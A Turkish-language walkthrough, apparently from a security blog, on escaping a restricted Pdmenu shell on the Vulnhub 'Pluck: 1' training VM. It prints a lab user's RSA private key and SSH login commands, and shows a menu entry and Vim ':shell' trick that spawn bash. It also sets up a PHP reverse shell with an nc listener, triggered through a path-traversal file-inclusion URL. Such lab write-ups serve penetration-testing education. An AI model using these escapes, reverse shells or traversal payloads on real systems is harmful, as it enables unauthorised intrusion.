Pdmenu Konsolundan Bash Kabuğuna Erişim Sağlanması

Sızma testlerinde bir Linux sistem kısıtlı kabukta ele geçirildikten sonra, bu kısıtı atlatabilme ihtiyacı olabilir. Bu yazıda, Pdmenu konsol menü erişimi elde edilen Pluck: 1 sanal makinesindeki kısıtlı işlem kabiliyeti atlatılarak “bash” kabuğunda komut çalıştırılması incelenecektir.

Yazıda kullanılan Pluck: 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/pluck-1,178/

 

Bu makinede “paul” adlı kullanıcının oturum özel anahtarı ile oturum açılabilir.

ls
cat id_key4

—–BEGIN RSA PRIVATE KEY—–
MIIEpAIBAAKCAQEAw2umEDHC4Hd6pW0kMHxlmRbKAimgx/qLTybuR8SzYibD49Pu
+ByG1KckHTvkPnIePACC3SFCNyb0f9C21XxwKYFH6Zfg+uKuIrtyWABmOXJyyuUt
XjtY84btJ8cC7lSqNKLzzClpDzmOphDkWLISrs7qK65pU9qUMZ/AztK+VYWnC6y4
hQEgPZcN3skg0BNW+PfkAtzJ4q1zHF8HZr2z89m8HJV5t6gHl3nNPL1eyeanAZvh
GSDldCZcx/ZUFERVj/Q3CYaE8JL6faOAwA56M9lRbSupFTbp/07g1xbFCKNMb/Io
GTtG8sGrGZrSlNTLIV90brgRqRoxcwdOnHGeLwIDAQABAoIBAF4uZmVNpi8KRiit
9hAME+b5DbiHGX7np/YovBQIn6+BIU2O2Y/oJ68bMpOIRtM1qo6ebHNoUQJFmvZy
v3saMvA950uUMBCZ6PTCRDRXVO0A1IQmeXv9vDv53hgamLYGRdWCZ18Q4ho9UhuE
7pg0kj5/aGpO72JDaMKVzJWhCawrGrsX8ONUK4nGLjeocVcdFoC/XcGMYe0uP3BN
Y35xLvbrq79NwK5v4dRpzw+mp5r+BHtw+MHlbHXkruwM5h99CXTCKWpGlRWDEC83
55pR6nNlNZ4dG0VtgjtCu2nXk/eDJA26XDjIMR2CyzpEWRzfAulta10vOLEMUhQJ
Z2lil+kCgYEA7eDhw3qK4yffgtjgI8gsuglEHyDkCG4YVjkKpqMabbXUeT9tRsJd
4NXejMpnjwNW1eGji6ylMC5VNUmZKZck8EqNMkQV6Az4e4U9ZS/LX+5mGww2zD+9
QrlyUq/DvTx6Ytu080JWKPSEyeGCVRIQDlURgnYyRv48AFQAvvTvB5UCgYEA0k6/
7zP3uhtNvS3IK7pfOGCl5asn29dRStbsDPVuHBINou8bFclMc3oU7hIUyD+0MFT5
S+z2yhms5s8RZ/RtuU57tadYeyN8n3xZcNoQJctTMGLto0qWeEgEjoFtz7Fz3SnA
MYwv0qRtAH8LDIYVHh7mp8N6X2C9DI5eqPwJzbMCgYEA2pGLvypEnS2Q4FBXumj+23
N7212whEnj5SnD7zO2OYMAAnh3Sw+pgy3BiG0URU3QILcqBNvlPWwCuCXWEPmzhm
V2eYzvviSQJJ+mzVmbjNnIqXRPj3DLrwMnPkyHb5WlJMfbM0U2O7eQwbSserEnFz
UUf2u7HQxoxpI0AMI2k4i/UCgYAFWxYOPG+RoMJhD/pqCqwEHon7CFnSgnBCjKik
R9fPBTKttJMnAeJdin1f9rvqwZyQIonawiUiznaVxi42TIZC0tnZrXJWaHfzA9Kv
Sg5hOAVdVReiMfMVCxh6nJc0U9uUhUystlo9bgyMl6+rWPrOspDDMvo51Zfa6wFE
Im8JewKBgQCF1LDyOqxRkyJhQqavaVaAGpT6a28cPv3S3cUEp+zC8YvPn9g4XfDe
6UGiNYpLE87B9Dyx69GXdozFQAZcfriwlD81NqJdEjf0mE4Plt1F2jLnruHbjXRv
S30bXrr9FOgayKJpRfYUgSghubMbdDDM6YhSm3MyYyP4FXjm7keHoQ==
—–END RSA PRIVATE KEY—–

 

Bu özel anahtar ile oturum açılabilmektedir. Yetki hatası alınması durumunda gerekli yetkilendirmelerin yapılması gerekebilir.

ssh -i id_key4 paul@172.20.50.140
ls -la id_key4
chown paul id_key4
useradd paul
chown paul id_key4
ls -la id_key4
ssh -i id_key4 paul@172.20.50.140

 

Oturum açıldığında standart komut satırı yerine Pdmenu adlı menüye erişim sağlandığı görülmektedir.

 

Bu menüde ping, telnet, dizin gezinimi gibi işlemler yapılabilir. Bunun yanında “Edit File”  seçeneği ile bir dosya içeriği de (yetkiler dahilinde) değiştirilebilir. Bu yöntemle mevcut menünün yapılandırma ayarlarında da değişiklik yapılabilir. Bu ayarlar kullanıcının ev dizinindeki yapılandırma dosyasında (/home/paul/.pdmenurc) gerçekleştirilir.

~/.pdmenurc

 

Mevcut durumdaki menünün kaynak dosyası aşağıdaki gibidir.

 

 

1) Menüye Yeni Bir Girdi Ekleyerek Komut Satırına Erişim Sağlanması

Kaynak dosyasındaki ifadelerin belli bir formatı bulunduğu görülmektedir. Mevcut komutların bulunduğu formata benzer yeni bir girdi eklenerek komut satırına erişim sağlanabilir.

exec:_Kabuga Gecis:edit,pause:/bin/bash

 

Değişiklik yapıldıktan sonra otomatik olarak giriş ekranına yönlendirilmektedir.

 

Menüye giriş yapıldığında yeni girdinin (“Kabuga Gecis“) eklenmediği görülmektedir.

 

Menüden çıkış yapıldığında (“Exit”) SSH da sonlanmış olur.

 

SSH ile tekrar giriş yapıldığında ise yeni girdi seçeneğinin eklendiği görülmektedir.

 

“Kabuga Gecis” adlı girdi seçildiğinde komut satırına erişim sağlanabildiği görülmektedir.

 

2) Vim Aracıyla “:shell” Komutu ile Komut Satırına Erişim Sağlanması

Vim” aracı ile harici komutlar mevcut yetkilerle çalıştırılabilir. Örneğin harici bir dosya okunabilir, PHP dosyasındaki söz dizimi (syntax) hataları tespit edilebilir, ifadeler kodlanabilir,… Bunların yanında Vim aracına erişim durumunda komut satırına da erişim sağlanabilir. Konu ile ilgili kaynaklardaki “Linux” yazısı incelenebilir.

Mevcut durumda SSH yapılan “paul” kullanıcısının varsayılan kabuğu “/usr/bin/pdmenu” olarak belirlendiği için Pdmenu ekranı ile karşılaşılmaktadır. Bu menu yerine “bash” kabuğuna geçiş için “vim” aracı kullanılabilir. Bu amaçla öncelikle Vim ekranı açılır.

Açılan sayfada “:set shell” komutunun çalıştırılması ile mevcut kabuk görüntülenebilir.

:set shell

 

:set shell=/bin/bash” komutunun çalıştırılması ile mevcut kabuk değiştirilerek “/bin/bash” olarak güncellenebilir.

:set shell=/bin/bash

 

Yeni durumda “:set shell” çalıştırıldığında kabuğun “/bin/shell” olduğu görülmektedir.

:set shell

 

Ayarlanan yeni kabuğa geçmek için “:shell” komutu kullanılabilir.

:shell

 

Böylece varsayılan kabuk (/usr/bin/pdmenu) değiştirilmeden bu kabuk yerine, belirlenen kabuğa (/bin/bash) geçiş sağlanmıştır.

id
echo $0
cat /etc/passwd | grep paul

 

3) Dosya Dahil Ederek Komut Satırına Erişim Sağlanması

Mevcut Pdmenu ile doğrudan komut çalıştırılamamaktadır. Ancak bir dosya oluşturulabilemekte ve sunucudaki web servis aracılığı ile bu dosya çağırılabilmektedir. Bundan dolayı mevcut ortamda zararlı bir PHP dosyası hedefe yüklenip çağırıldığında komut satırına erişim sağlanabilir. Bu amaçla php-reverse-shell.php dosyası IP ve port güncellenerek hedefe yüklenecektir. Öncelikle ters bağlantıyı yakalayacak dinleyici başlatılır.

cat /usr/share/webshells/php/php-reverse-shell.php | grep -i “change this”
nc -nlvp 6666

 

Zararlı dosya içeriğinin ekleneceği dosya “Edit File” tanımı ile açılır.

 

Kopyalanan zararlı dosya içeriği bu dosyaya yapıştırılır.

 

Böylece dosya hazırlanmış olur.

 

Hazırlanan dosya çağırıldığında komut satırı erişimi elde edilir.

172.20.50.140/index.php?page=../../../../../../../../../../home/paul/YeniSayfa.php

 

Kaynaklar:

https://www.youtube.com/watch?v=oRS5E6I7PGA
https://www.linux.com/learn/vim-tips-working-external-commands
https://netsec.ws/?p=337
https://g0blin.co.uk/pluck-vulnhub-writeup/#pdmenu
https://www.scattiscattanti.com/walkthroughs/pluck/
http://www.thisguyhacks.com/2017/03/vulnhub-pluck-1-walkthrough.html
https://www.arashparsa.com/2017/03/13/pluck%20walkthrough

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.